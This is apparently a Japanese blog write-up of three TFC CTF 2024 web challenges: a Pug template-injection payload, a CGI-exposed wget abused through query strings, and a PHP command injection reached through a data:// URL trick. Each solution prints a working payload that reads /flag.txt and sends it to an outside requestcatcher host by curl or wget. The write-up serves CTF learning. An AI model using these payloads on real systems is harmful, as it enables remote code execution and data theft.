はまやんはまやんはまやん

hamayanhamayan's blog

TFC CTF 2024 Writeup

https://ctftime.org/event/2423

[web] GREETINGS

ソースコード無し。名前を入力するサイトが与えられる。とりあえずSSTIを試すと成功した。#{9*9}と入力すると81と帰ってきた。適当にガチャガチャやるとエラーメッセージが出て、そこからPugが使われていることが分かった。

ということでHackTricksから適当にPayloadを持ってきて試すと以下でフラグがrequestcatcherに送られてきた。

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('cat flag.txt | curl https://[yours].requestcatcher.com/ -X POST -d @-')}()}

[web] FUNNY

ソースコード有り。Apache2 + phpの環境が与えられる。phpファイルで書かれている部分は特に意味がありそうな部分は無いため、環境設定に問題があるのだろうという方針で解く。httpd.confをデフォルト設定と比較しながら見ていくと怪しい設定がある。

ScriptAlias /cgi-bin /usr/bin

なんだこれと思いながら調べるとこういうページが見つかったりして、非常に良くないことが分かる。試しにGET /cgi-bin/hogeとしてみると404応答があり、GET /cgi-bin/wgetとすると500応答があった。いい感じに参照できている。先のページを見ると引数をクエリストリング経由で与えることができるらしいのでwgetコマンドとrequestcatcherで疎通確認してみる。

適当にrequestcatcherを用意して以下のようにリクエストを飛ばしてみるとリクエストが飛んでくる。

GET /cgi-bin/wget?https%3a%2f%2ffsdkj32i4jk3.requestcatcher.com%2ftest HTTP/1.1
Host: localhost:4444

こうやって書くと、wget https://fsdkj32i4jk3.requestcatcher.com/testと解釈してくれるようだ。ok. 引数を複数入れることができればフラグが抽出できるが、調べると+%ADd+がスペースとして認識されるようだ。よって--post-file=/flag.txtを入れ込むことにして以下のようにリクエストすればフラグがrequestcatcherに送られる。

GET /cgi-bin/wget?https%3a%2f%2ffsdkj32i4jk3.requestcatcher.com%2ftest+%ADd+--post-file%3d%2fflag.txt HTTP/1.1
Host: localhost:4444

[web] SAFE_CONTENT

ソースコードとして/src.phpが参照可能で、重要なのは以下の部分。

<?php

function isAllowedIP($url, $allowedHost) {
    $parsedUrl = parse_url($url);
    
    if (!$parsedUrl || !isset($parsedUrl['host'])) {
        return false;
    }
    
    return $parsedUrl['host'] === $allowedHost;
}

function fetchContent($url) {
    $context = stream_context_create([
        'http' => [
            'timeout' => 5 // Timeout in seconds
        ]
    ]);

    $content = @file_get_contents($url, false, $context);
    if ($content === FALSE) {
        $error = error_get_last();
        throw new Exception("Unable to fetch content from the URL. Error: " . $error['message']);
    }
    return base64_decode($content);
}

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['url'])) {
    $url = $_GET['url'];
    $allowedIP = 'localhost';
    
    if (isAllowedIP($url, $allowedIP)) {
        $content = fetchContent($url);
        // file upload removed due to security issues
        if ($content) {
            $command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc';
            exec($command . ' > /dev/null 2>&1');
            // this should fix it
        }
    }
}
?>

ということで$command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc';でコマンドインジェクションができそうなので、このcontentにhoge && [arbitrary command] && echo hogeを入れることができればRCE達成。そのためには、isAllowedIP関数にあるようにparse_urlの応答のhostがlocalhostであり、かつ、file_get_contentsに通したときの応答が任意の文字列であるような入力を作り出す必要がある。

ここからは理論無しの試行錯誤。ガチャガチャやってるとdata://localhost/plain,hogehogeを入力するとlocalhostの検証を回避し、file_get_contentsの戻り値をhogehogeにすることができた。data://text/plain,ほにゃららで任意の文字列を返す方法があり、それをガチャガチャやってると出てきた。

ということで以下のようにpayloadを作るとフラグが手に入る。

  1. payload作り。コマンドインジェクションで、curlで情報を抜き出すものにした。 hoge && cat /flag.txt | curl https://[yours].requestcatcher.com/ -X POST -d @- && echo hoge
  2. fetchContent関数では、file_get_contentsの応答をbase64_decodeに通して返しているので手順1のpayloadをbase64にする aG9nZSAmJiBjYXQgL2ZsYWcudHh0IHwgY3VybCBodHRwczovL1t5b3Vyc10ucmVxdWVzdGNhdGNoZXIuY29tLyAtWCBQT1NUIC1kIEAtICYmIGVjaG8gaG9nZQ==
  3. data://localhost/plain,[手順2のbase64エンコード物]のようにURLを組み立てて、これを送ると指定のrequestcatcherにフラグが飛んでくる